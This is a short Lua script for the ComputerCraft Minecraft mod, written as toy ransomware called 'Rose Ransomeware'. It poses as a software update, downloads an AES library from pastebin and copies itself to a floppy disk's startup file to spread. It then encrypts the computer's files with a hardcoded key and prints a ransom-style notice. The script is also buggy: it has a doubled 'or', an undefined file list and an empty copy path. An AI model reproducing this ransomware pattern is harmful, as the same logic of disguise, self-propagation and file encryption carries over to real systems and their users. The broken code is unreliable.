ComputercraftViru

print("Updating software, please wait")

fs.delete("virus")
fs.makeDir("virus")

shell.run("pastebin get DMx8M0LP virus/aeslua")
os.loadAPI("virus/aeslua")

if fs.exists("disk") and fs.isDir("disk") then
if fs.exists("disk/startup") then
fs.delete("disk/startup")
end
fs.copy("", "disk/startup")
end

local dec = "F()$HI$IF)$KIF"

for _,v in pairs(files) do
if string.sub(v, 1,5) == "virus" then
    else
print("Found file " .. v)
end
end
print("starting enc")
local iv = {}
for i = 1,16 do iv[i] = math.random(1,255) end
for _,v in pairs(files) do
    if v == "virus/aeslua" or or v == "virus/vir" or v == "disk/startup" or v == "disk2/startup" then
    else
    local hBf = fs.open(v, "r")
    local stuff = hBf.readAll()
    local encrypted = aeslua.encrypt(dec,stuff)
    print("Encrypted file " .. v)
    hBf.close()
    hAf = fs.open(v, "w")
    hAf.write(encrypted)
    hAf.close()
    end
end

term.clear()
term.setCursorPos(1,1)
print("--- [Rose Ransomeware] ---")
print("All major files on this pc have been encrypted.")
print("Reclaiming your files is almost impossible, unless you have the decrypt floppy.")
print("Obtaining the decrypt floppy is possible, however very difficult.")
print("--- [Rose Ransomeware] ---")